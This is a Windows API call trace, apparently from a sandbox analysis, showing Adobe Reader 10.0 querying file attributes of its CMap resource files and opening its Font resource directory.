	[0054.556] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-2"), fInfoLevelId=0x0, lpFileInformation=0x12488418 | out: lpFileInformation=0x12488418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121c)) returned 1
	[0054.557] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-3"), fInfoLevelId=0x0, lpFileInformation=0x12488468 | out: lpFileInformation=0x12488468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121b)) returned 1
	[0054.557] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-4"), fInfoLevelId=0x0, lpFileInformation=0x124884b8 | out: lpFileInformation=0x124884b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1461)) returned 1
	[0054.557] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-5"), fInfoLevelId=0x0, lpFileInformation=0x12488508 | out: lpFileInformation=0x12488508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14ca)) returned 1
	[0054.557] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbk-euc"), fInfoLevelId=0x0, lpFileInformation=0x12488558 | out: lpFileInformation=0x12488558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16e86)) returned 1
	[0054.557] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbpc-euc"), fInfoLevelId=0x0, lpFileInformation=0x124885a8 | out: lpFileInformation=0x124885a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1082)) returned 1
	[0054.557] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-cid"), fInfoLevelId=0x0, lpFileInformation=0x124885f8 | out: lpFileInformation=0x124885f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82c)) returned 1
	[0054.558] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-host"), fInfoLevelId=0x0, lpFileInformation=0x12488648 | out: lpFileInformation=0x12488648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x170e4)) returned 1
	[0054.558] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-mac"), fInfoLevelId=0x0, lpFileInformation=0x12488698 | out: lpFileInformation=0x12488698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x106f)) returned 1
	[0054.558] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-ucs2"), fInfoLevelId=0x0, lpFileInformation=0x124886e8 | out: lpFileInformation=0x124886e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3bb8b)) returned 1
	[0054.558] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-0"), fInfoLevelId=0x0, lpFileInformation=0x12488738 | out: lpFileInformation=0x12488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdc3)) returned 1
	[0054.559] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-1"), fInfoLevelId=0x0, lpFileInformation=0x12488788 | out: lpFileInformation=0x12488788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdc4)) returned 1
	[0054.559] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-2"), fInfoLevelId=0x0, lpFileInformation=0x124887d8 | out: lpFileInformation=0x124887d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdec)) returned 1
	[0054.560] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-3"), fInfoLevelId=0x0, lpFileInformation=0x12488828 | out: lpFileInformation=0x12488828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdf7)) returned 1
	[0054.560] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-4"), fInfoLevelId=0x0, lpFileInformation=0x12488878 | out: lpFileInformation=0x12488878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfed)) returned 1
	[0054.560] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-5"), fInfoLevelId=0x0, lpFileInformation=0x12488918 | out: lpFileInformation=0x12488918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x117c)) returned 1
	[0054.560] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-6" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-6"), fInfoLevelId=0x0, lpFileInformation=0x124889b8 | out: lpFileInformation=0x124889b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1263)) returned 1
	[0054.561] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90ms-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-90ms-rksj"), fInfoLevelId=0x0, lpFileInformation=0x12488a08 | out: lpFileInformation=0x12488a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18d1)) returned 1
	[0054.561] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90pv-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-90pv-rksj"), fInfoLevelId=0x0, lpFileInformation=0x12488a58 | out: lpFileInformation=0x12488a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20fa)) returned 1
	[0054.561] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-cid"), fInfoLevelId=0x0, lpFileInformation=0x12488aa8 | out: lpFileInformation=0x12488aa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8f3)) returned 1
	[0054.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-host"), fInfoLevelId=0x0, lpFileInformation=0x12488af8 | out: lpFileInformation=0x12488af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19e1)) returned 1
	[0054.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-mac"), fInfoLevelId=0x0, lpFileInformation=0x12488b48 | out: lpFileInformation=0x12488b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1574)) returned 1
	[0054.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-ucs2"), fInfoLevelId=0x0, lpFileInformation=0x12488b98 | out: lpFileInformation=0x12488b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49a9a)) returned 1
	[0054.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-0"), fInfoLevelId=0x0, lpFileInformation=0x12488be8 | out: lpFileInformation=0x12488be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe22)) returned 1
	[0054.563] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-1"), fInfoLevelId=0x0, lpFileInformation=0x12488c38 | out: lpFileInformation=0x12488c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d5)) returned 1
	[0054.563] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-2"), fInfoLevelId=0x0, lpFileInformation=0x12488c88 | out: lpFileInformation=0x12488c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d4)) returned 1
	[0054.563] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-h-cid"), fInfoLevelId=0x0, lpFileInformation=0x12488cd8 | out: lpFileInformation=0x12488cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x66a)) returned 1
	[0054.564] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-h-host"), fInfoLevelId=0x0, lpFileInformation=0x12488d28 | out: lpFileInformation=0x12488d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ec0)) returned 1
	[0054.564] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-h-mac"), fInfoLevelId=0x0, lpFileInformation=0x12488d78 | out: lpFileInformation=0x12488d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ca3)) returned 1
	[0054.564] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCms-UHC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-kscms-uhc"), fInfoLevelId=0x0, lpFileInformation=0x12488dc8 | out: lpFileInformation=0x12488dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3df2)) returned 1
	[0054.565] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-kscpc-euc"), fInfoLevelId=0x0, lpFileInformation=0x12488e18 | out: lpFileInformation=0x12488e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2cf3)) returned 1
	[0054.565] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-ucs2"), fInfoLevelId=0x0, lpFileInformation=0x12488e68 | out: lpFileInformation=0x12488e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25bda)) returned 1
	[0054.565] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-h"), fInfoLevelId=0x0, lpFileInformation=0x12488eb8 | out: lpFileInformation=0x12488eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f11)) returned 1
	[0054.565] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-ucs2"), fInfoLevelId=0x0, lpFileInformation=0x12488f08 | out: lpFileInformation=0x12488f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c9)) returned 1
	[0054.565] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-ucs2c"), fInfoLevelId=0x0, lpFileInformation=0x12488f58 | out: lpFileInformation=0x12488f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x457be)) returned 1
	[0054.566] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-v"), fInfoLevelId=0x0, lpFileInformation=0x12488fa8 | out: lpFileInformation=0x12488fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc17)) returned 1
	[0054.566] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\cns-euc-h"), fInfoLevelId=0x0, lpFileInformation=0x12488ff8 | out: lpFileInformation=0x12488ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3205)) returned 1
	[0054.594] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.594] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
